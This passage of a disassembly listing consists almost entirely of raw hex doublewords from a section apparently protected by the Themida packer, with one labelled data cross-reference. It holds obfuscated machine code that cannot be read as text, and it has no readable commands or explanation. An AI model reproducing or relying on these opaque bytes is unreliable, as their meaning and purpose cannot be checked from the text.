81042444h, 17042444h, 40000000h dd 0BEF0C350h, 8B66F091h, 52006AFEh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 5ADEC6E8h dd 0B7AA46FDh, 0BD896506h, 6070A11h, 0AE8h, 96F80400h dd 6D1FDDD8h, 5EFF63A1h, 0FFF85AE9h, 0C98D89FFh, 8B06072Ch dd 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 89AA1FA4h, 726518Dh, 4EB06h, 0F000000h dd 687h, 89E68100h, 0E937E074h, 8, 0D734FF54h, 0AB2C715h dd 2C61858Dh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 59CEDEC3h, 8D89F1FAh dd 6070DE9h, 59BF6650h, 24048973h, 18ADB589h, 6A0607h dd 11E9h, 76EE0000h, 4F90840Bh, 7265EB54h, 0BFC079C9h dd 6AD828h, 0CE9h, 0E6BC8400h, 0AB6F6F5h, 4F519E44h, 8A858D0Fh dd 8B060AF0h, 71035B5h, 5C08306h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 9EC35040h, 76AACFC8h, 0C1B529EFh dd 50060731h, 310F5250h, 489585Ah, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 66A80EE5h dd 6AF88Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 22C35242h, 7E6B9DE7h, 0A7308903h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0E4703FC3h, 0A2D8C542h, 0B58B1DCCh, 60715E5h, 133595FFh dd 8B660607h, 9D9D8DF1h, 6A060A93h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 660EC350h dd 0D3FFF78Bh, 2C8985FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 39444BC3h, 6D9AC61Ch dd 6004732Eh, 205B589h, 0BD290607h, 6070A95h, 0A1B50361h dd 0E906070Ah, 874h, 0E8h, 0ED815D00h, 60AF094h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 89C35646h, 991FE9E5h dd 5D18B0D2h, 86325BBEh, 15BD8115h, 0D0060718h, 0F000007h dd 12286h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0BD8960B4h, 6070B7Dh, 3339BD8Bh dd 8B610607h, 714F19Dh, 42CF8106h, 811D4284h, 100E3h, 0B58B5100h dd 60711C9h, 0FDB0B5Eh, 6285h, 0C3BF6600h, 0E6BD83D7h dd 60AEEh, 32840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 8A5876C3h, 8B0EFB65h dd 71FD9BDh, 54E906h, 0B5890000h, 6073141h, 0EEE685C7h dd 1060Ah, 0F18B0000h, 3DE9h, 8810F00h, 51000000h, 282DBD89h dd 0C75F0607h, 0AEEE685h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 3F629591h dd 3F25E4Ch, 9D8D2F9Dh, 60714F1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 25C35747h, 6E9796D1h, 5555BA6Dh dd 0FF2381E6h, 0E9FFFFFEh, 0Ch, 205067A6h, 92DF56EEh, 5049CABFh dd 66F9BF0Fh, 66BFDB8Ch, 0F627800Ah, 840F04C3h, 7Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 37C35343h, 0CE853h dd 35630000h, 0FF910797h, 0DE5AB9ABh, 0F08BAE06h, 8B665F5Fh dd 6195FFF0h, 8B060718h, 70265BDh, 4895006h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0A8383968h, 0EE8h, 0C5EC7600h, 79B36AC2h, 0D17227Ah dd 33F845C4h, 71581BDh, 84E95E06h, 0FC000004h, 6A00B0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 4704CAC3h, 3E50B9Dh, 7E9h, 0E211C200h, 1B9D17B2h, 6A70E6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0E0BD3FC3h, 81318C0Fh, 0EB282AF7h, 5171E464h, 5EFA8B66h dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 1B57C355h, 1BA34E09h, 0BAFA8B75h dd 6, 6AC38BF5h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 1350C353h, 662085FDh, 523DDDBFh dd 4E8C15Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 9AC35646h, 29B83E26h, 60457F82h, 8E8h, 0C1043C00h dd 0E523CE08h, 29B589ABh, 5B060721h, 2CED958Bh, 8B610607h dd 7099DB5h, 0E2F76606h, 1E4DBD2Bh, 0D82B0607h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FC35545h, 8E5BEF0Bh dd 50819EF4h, 89F98B66h, 6A241Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 1F7E4FC3h, 0C8F6CFC4h dd 1815B5FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 7D3EE5C3h, 1B6995FFh, 6A0607h, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0B0B8D7C3h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 45EA57E1h, 6A70E60Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0B76C352h, 544F9084h, 0FE8EBh, 0F43F0000h dd 4E20F059h, 0CF239854h, 6FE9D5DFh, 28D0FD8h, 8B000000h dd 71E45FFEh, 0F613CF9h, 27A83h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0A5EC56FDh dd 69EBA836h, 0BE91Bh, 0CBAD0000h, 6479B583h, 3BB4E20Bh dd 0D8B60F41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 65C35646h, 15BD8BC4h, 6606072Fh, 4B49C681h, 6BAh dd 0BD8B5600h, 607185Dh, 8595895Fh, 8B06072Dh, 55006AC3h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0FA63C6E7h, 308B73C3h, 8BFC4FC9h, 4E8C1FEh, 0F766F18Bh dd 68F0FE2h, 29000000h, 716399Dh, 81D82B06h, 1322CFDEh dd 0FAB70F44h, 0DE858h, 0A6200000h, 8B6D40Ah, 18324B2Dh dd 6665116Fh, 0A34FDF81h, 0FD82B5Eh, 19E88h, 85BD2900h dd 0B9060700h, 7, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h db 17h byte_57B1E9 db 3 dup(0) ; DATA XREF: Themida_:0054A004o dd 95C35545h, 83FE7ECCh, 6A00C1h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 4BF174C3h, 0D93BB106h dd 149860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 686D84C3h, 68D0Fh, 0F6810000h, 2696F1E8h dd 6AD98C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 56CDC351h, 31618D01h, 895F0607h dd 71A69BDh, 4C1F606h, 0C2840Fh, 8D090000h, 6071FF1h, 6D19D89h dd 95FF0607h, 6071861h, 3065BD89h, 6A5B0607h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 2565C351h, 5175CA23h, 2BBAC554h, 52006AC3h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 6BD1809Ch dd 21958952h, 3D06071Ah, 834h, 52860Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0B58BBDC3h, 607051Dh, 6890Fh, 0EE810000h, 652F9021h dd 46E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 55C17B0Ch, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0C5ACAFC3h dd 3D6D0382h, 8B24A004h, 6AD88BC3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D6BEC350h dd 5648683Eh, 81664281h, 0E99A90F6h, 7, 99B38AD6h, 0C70C0A8Eh dd 7013D85h, 0E41B1D06h, 50006A34h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0BD3E672h, 70D19BDh, 48B1BE06h dd 0C08B26F8h, 0EADB58Bh, 0BD810607h, 6071815h, 7D0h, 16850Fh dd 8BF80000h, 72EFDB5h, 1585FF06h, 89060718h, 70569B5h dd 0F7BF0F06h, 1815B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 1508EC3h, 68ABF06Ah dd 2DBD032Fh, 0FF06070Eh, 71B6995h, 66605106h, 5E61C68Bh dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 395BE0C9h, 0A850Fh, 0BE660000h, 85093CB5h dd 6070EE9h, 198F0Fh, 70BE0000h, 0E972180Bh, 0Fh, 0D97A06A2h dd 5ED9C838h, 0A6A076B5h, 8B8CE38Ah, 70BE5B5h, 0F98B6606h dd 5B9BD8Bh, 0B58B0607h, 6071289h, 0E8F7B70Fh, 13h, 2840CE07h dd 5E7E2CF3h, 70C2F4Ch, 0FAA2864Ch, 8BA3C9ECh, 70035B5h dd 6AF95F06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0EFF8C353h, 54F40CAEh, 0B529DE3Eh dd 60714A1h, 0C018589h, 6E80607h, 0A000000h, 0BFD9175h dd 21858985h, 5E060710h, 6AF9BF0Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0B344C353h dd 0F53D2493h, 9D89487Bh, 60711E5h, 3009B58Bh, 6A0607h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 749F17C3h, 0FFF78FE9h, 0F7B70FFFh, 6AC18Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 444E10C3h, 0CE8D6692h, 112389BFh, 0C5BD8B1Dh, 23060705h dd 7065DB5h, 4EB06h, 60000000h, 0B948D781h, 0B58B02D2h dd 60718ADh, 0D9BD0361h, 8D060721h, 72C6185h, 0E950FC06h dd 12h, 4987B153h, 414CB8EBh, 2E607F77h, 0A67D2C48h, 4898E8Dh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 79776B34h, 6A5BB6h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0BC477DC3h dd 0E781665Bh, 858DBAACh, 60AFAD8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 54C35747h, 0D22A40C0h, 6B108923h dd 0EFEBCE81h, 0F6813CF4h, 3468BFCCh, 0BF05C083h, 485D4387h dd 0F08B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 263C351h, 1006AB3h dd 7115985h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 78F2C353h, 608BC312h dd 1B65BD03h, 95FF0607h, 6071335h, 9D9D8DF9h, 6A060A93h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0A76DC355h, 6E9AC89h, 54000000h, 3EE50CF5h dd 6AD3FF7Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 6D54C356h, 0A3D09778h, 858919B5h dd 6072681h, 2C8985FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0F5BD72C3h, 7EFE9FBh dd 0E80000h, 5D000000h, 0FAE2ED81h, 0BE66060Ah, 0BD811211h dd 6071815h, 7D0h, 117860Fh, 0BB600000h, 48EEEE66h, 61D88B66h dd 13519D8Bh, 81520607h, 0C75A24C7h, 0E3815E7Bh, 100h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E4C35747h dd 8B576DCDh, 70691BDh, 3FBE6606h, 0FDB0BCEh, 7185h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0D978B68h, 1FC1B589h, 0BD830607h, 60AF93Ah, 1E840F00h dd 0B000000h, 73209B5h, 81666006h, 6160BFCAh, 3FE9h, 6880F00h dd 29000000h, 72C3595h, 3A85C706h, 1060AF9h, 56000000h dd 2975BD89h, 0E95E0607h, 1Ch, 28F0F53h, 60000000h, 85C75F61h dd 60AF93Ah, 0 dd 69B58B53h, 5E06071Ah, 13519D8Dh, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 4BAB41C3h dd 94F68166h, 5E823h, 0B4590000h, 2957C9A8h, 712E5BDh dd 23815F06h, 0FFFFFEFFh, 982622BFh, 0DB8C6667h, 1B3D8509h dd 95090607h, 60723EDh, 0F04C3F6h, 7B84h, 0DB58900h, 0FF06070Fh dd 7186195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0E98A8D6Ah, 14h, 0E013A5F3h, 0C081E405h dd 95AF3477h, 54DBF690h, 4F45B5D7h, 24048950h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0DCC35040h, 433ED375h dd 0D781B526h, 3B8D7693h, 820Fh, 8D010000h, 60721A9h, 41DE9h dd 0B0F08B00h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0DD5CF6ABh, 0E49939BBh dd 6670E6E5h, 0E48003BEh, 50006A71h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0C30B13B6h dd 0BD8BA2D2h, 6072125h, 327DB531h, 0B60F0607h, 59B523D8h dd 0BA060704h, 6, 365B58Bh, 0C38B0607h, 16758589h, 0E8C10607h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 2B351FF5h, 6AE2F766h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F6CC351h dd 2B013D58h, 0FD8D89D8h, 93060701h, 6E8h, 0AF92000h, 5F73CB3Dh dd 0AFBE6050h, 5742FA9Ah, 35F7BA66h, 6A936159h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0F0DCC355h, 0BD8B41CDh, 6073065h, 9D315360h, 6071B95h dd 0BE958h, 9E1B0000h, 0FA6DAEFEh, 0BD6EE7ADh, 0B5FF6199h dd 6071815h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0F5C35141h, 8870Fh, 89530000h, 70CA58Dh, 95FF5F06h dd 6071B69h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 3BC35141h, 0B685E3F9h, 8CA18C1Fh, 0B2EF8166h, 0E900B0BEh dd 7, 1C2FDC16h, 0E69221FCh, 0BD8BFC70h, 6071165h, 8E871E4h dd 0EE000000h, 0CEE0F697h, 0F226ACBh, 28Dh, 5EF98B00h dd 830F613Ch, 266h, 0B60FF08Bh, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0F3168316h dd 0BAF50A42h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 8EC35747h, 7A21545Dh, 1A4E4E3Ah, 659B58Bh, 0C38B0607h dd 0EE9h, 5768C300h, 0C75B165Bh, 98977028h, 0C1C63E0Ch dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 922C07C3h, 6EE40C3Eh, 9D89C7DCh, 6072F3Dh dd 245BD8Bh, 0F7660607h, 50006AE2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0E7B292F8h, 2B37A02Dh dd 399589D8h, 58060733h, 0B2E68166h, 0F9B5334Eh, 2B06070Dh dd 87880FD8h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0BCA2C353h, 55B58BE4h dd 0B906072Fh, 7, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 7CC35242h, 0AB05A1F7h, 31628A6Fh, 71C9D8Dh, 0C18306h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F6C35343h dd 140D6779h, 0F7819E3Eh, 140C30FEh, 860FD93Bh, 102h, 27F5B52Bh dd 8C660607h, 49B58BD9h, 0F606070Bh, 840F04C1h, 0C5h, 2001B589h dd 95FF0607h, 6071861h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 45C35343h, 0ACADB1D9h, 66ACCC43h, 881CE681h dd 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 840F3902h, 6, 0B030CF81h, 9E924A9h, 0AE000000h dd 72BC90BBh, 30A108DAh, 0BF0FC32Bh, 8343DF0h, 860F0000h dd 49h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h dd 6EC35141h, 8B66ED98h, 48E9FAh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 60E99CC3h dd 0FA1E5DE8h, 6AC08B70h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0ED68C356h, 1799BD8Bh dd 0C38B0607h, 8589D88Bh, 6070B4Dh, 14F185C7h, 4D910607h dd 8B603BBCh, 71149B5h, 0BE906h, 0BB800000h, 758B56B2h dd 0D18EEE28h, 0C08B61C9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 81C35545h, 19880F29h, 0E9000000h, 14h dd 59824B5Dh, 2895586h, 0D977CB51h, 0EC9182D3h, 28D55C2Eh dd 1815BD81h, 7D00607h, 850F0000h, 31h, 17A18D89h, 85FF0607h dd 6071815h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 1DC35040h, 0DCCB2C9h, 0B7910F1Bh, 15B5FFF5h, 6A060718h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8BDEC350h, 72119BDh, 6995FF06h, 9006071Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1DC35747h dd 8166D07Bh, 0FCBB34CEh, 6A5F53FCh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 6A90C353h dd 0BAD76379h, 0EE81AE77h, 292855ECh, 14E9h, 9E39D00h dd 0B87B8586h, 0AC6FBDFCh, 6FF33985h, 1BBB4702h, 819D892Dh dd 66060730h, 9537D681h, 1E25B589h, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CAD94CC3h dd 0C8BF0F60h, 2C1B58Bh, 8C0F0607h, 6, 1645B589h, 66610607h dd 6A3E31BEh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 2AD3C353h, 2A074A83h, 0B94871BEh dd 850F505Eh, 6, 800Fh, 6A5E0000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 57F6C353h dd 0E5A860A9h, 0E904E382h, 0FFFFF82Ah, 0EE9h, 9D42CC00h dd 228DF298h, 9C91D2A0h, 1E860E9h, 70619BDh, 6AC18B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 23A0C351h, 0FAF1D597h, 0BD0B4E59h, 6071375h dd 68E0F60h, 89000000h, 71219B5h, 959D3106h, 6106070Eh dd 4EBh, 0B5890000h, 6073155h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0BC35141h, 0D1B54B3Eh, 77337646h dd 2C61858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 3B77EDC3h, 90F3BF0Fh, 50F38B66h dd 28B0F90h, 8B000000h, 66006AFEh, 0FAB8EF81h, 89006AF8h dd 706319Dh, 47858D06h, 29060B04h, 7321195h, 5C08306h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 46C35242h dd 0E1D3304h, 50DCE990h, 769BE6BEh, 24048975h, 0E15AF781h dd 6A650Ch, 1281BD89h dd 6A0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 3DC35545h, 0B589307Bh, 6071331h, 133595FFh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 9D8D9AC3h, 60A939Dh, 2F99D89h, 0D3FF0607h, 0FFF6BF0Fh dd 72C8985h, 14E85206h, 32000000h, 0E13AEF04h, 0FB20231Bh dd 29052FBBh, 0B1EE9535h, 0FC56554h, 5F5FFAB7h, 929E9h dd 0E800h, 815D0000h, 0B0451EDh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0C78166C8h dd 0BD8123C2h, 6071815h, 7D0h, 13A860Fh, 14E80000h, 10000000h dd 0C0504761h, 65929D6Ch, 9868573h, 13E18203h, 0F1667BCh dd 289h, 5E5F5100h, 0FE9h, 0F11C9200h, 1F8A6A03h, 82350470h dd 1EDC5713h, 1C919D8Bh, 0E3810607h, 100h, 37E4CCBFh, 0FDB0B33h dd 0A485h, 95236000h, 6072D6Dh, 61C68B66h, 6830Fh, 9D890000h dd 607035Dh, 30DBD83h, 0F00060Bh, 3284h, 0BABE6600h, 0A5E9B3h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0F807AC3h, 79C2DA2Ch, 0ADB58B4Bh, 0C7060711h dd 0B030D85h, 106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 94BE66D7h, 4DE93Dh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0D1FBC6C3h, 0D85C72Ch, 60B03h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 7600C352h, 0DDB52B05h, 8D060723h, 71C919Dh, 95895106h dd 60721D9h, 0FF23815Fh, 66FFFFFEh, 0CB44D781h, 6ADB8C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0D418C351h, 4852EFCCh, 0F41B4C0h, 0F04C3F6h dd 6184h, 14E800h, 333F0000h, 0E03DF16Eh, 0FDB0BD8Fh, 6DD08154h dd 30F84E3Ch, 840F12BCh, 6, 451BD03h, 0FF5F0607h, 7186195h dd 1D9D8906h, 50060703h, 310F5250h, 0F525060h, 8B585A31h dd 585A61D0h, 0F240489h, 0CE8F9B7h, 87000000h, 9B3E5B3Fh dd 0C189B2B4h, 233419DBh, 71B4DBDh, 0ABE95F06h, 66000004h dd 0B0F28Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 3BC35646h, 0D31ED412h, 5425BC19h, 11E849h, 0EEA70000h dd 9E33EF33h, 1DAE6E06h, 597BC45Bh, 0BE3A1CEDh, 7F69BD6Eh dd 318D295Fh, 0E6060705h, 56006A70h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 74334DE5h dd 0BB0EB692h, 0BD891930h, 6071A99h, 6A71E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 61148EC3h dd 0FDF54A3h, 0CF81D8B6h, 6B16E321h, 6BAh, 0BE900h, 7AF0000h dd 0F738BEB9h, 25E73AEDh, 6AC38B2Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F7FDC352h dd 0BD8B6C98h, 6071941h, 21B58B52h, 5F060705h, 6A04E8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0C847C352h, 0A0B2C4Eh, 6AE2F766h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 2B0EC351h, 13E8D8h, 68F90000h, 47F5913Dh, 33810964h dd 0EABA0008h, 0D5CA83AAh, 0EF816636h, 505F8BB3h, 11880F50h dd 0E8000000h, 0Bh, 0D8FB03Fh, 58F1A3ACh, 5F7E5B7Fh, 241C895Eh dd 0FFFFB70Fh, 71815B5h, 0F1BD8906h, 0FF060700h, 71B6995h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0B03305h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 7DC35141h, 19419603h, 8BAA1B62h, 6A70E6F7h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 46B2C356h, 860FA891h, 6, 7874DE81h, 0BD8B31D5h dd 6070EF9h, 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0A867EEC3h, 159D09E2h, 29060729h dd 72901B5h, 0F613C06h, 28183h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0F3C6F7EBh dd 0D8B60F72h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 14C35545h, 362F96F9h, 8DD03B2h, 5890Fh, 81660000h dd 0BA2F24CEh, 6, 8BF88B66h, 57006AC3h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0B716DFBAh dd 2FFF222h, 1F8DBD8Bh, 0E8C10607h, 0D1B53104h, 66060713h dd 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 6D12AAC3h, 8B6D0876h, 71C45BDh, 8BD82B06h dd 71491B5h, 89F85806h, 72F4595h, 0FD82B06h, 1B188h, 7B900h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0C1F646C3h, 0C1830Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 9FC35343h, 3D85892Eh, 3B060732h dd 5F860FD9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 38B6C355h, 600110BFh dd 58E0Fh, 2FBB0000h, 0E85DE77Dh, 13h, 293515DDh, 86C3DC5h dd 110C4133h, 293684h, 89F534D5h, 71689B5h, 0F8615B06h dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0A599C356h, 4C1F651h, 0DD840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0B58B9FC3h, 6072119h, 186195FFh, 6A0607h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 895B00C3h, 72C4D9Dh, 0E9C32B06h, 0Eh, 531E5494h, 0B5C15B48h dd 5BEF0B0Fh, 343DF48Eh, 0F000008h, 7286h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 75853129h, 0BE060729h, 2B6F698Ah, 51E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 6424CC3Bh, 84D87714h, 10E9600Fh, 2F000000h, 30071095h dd 0C511CF75h, 0F2057E95h, 0FCEC658h, 68Dh, 0BDB58900h dd 8B060711h, 0BE5653C0h, 1BF712D1h, 0C38B5F5Eh, 6AD88Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 2A317FC3h, 89570C29h, 715F99Dh, 85C75F06h, 6071351h dd 16D40FF7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0CCC35747h, 0FCB21931h, 0C08B2CFFh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DFC35545h, 0FFCC4470h dd 64BECB7Ch, 815FB191h, 71815BDh, 7D006h, 83850F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 5589C356h, 0A4EC67A2h, 5E860F7h, 46000000h dd 565107D7h, 23DDBD89h dd 89590607h, 719398Dh, 85296106h, 6072D6Dh, 181585FFh dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0F4575C3h, 0FA03011Bh, 85890E63h, 60721A9h dd 0DE9h, 0EA613D00h, 0A636EBAFh, 55296570h, 0B5FF8C42h dd 6071815h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 1EC35646h, 0B60FAA4Eh, 6995FF61h, 0F506071Bh, 8586BE66h dd 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 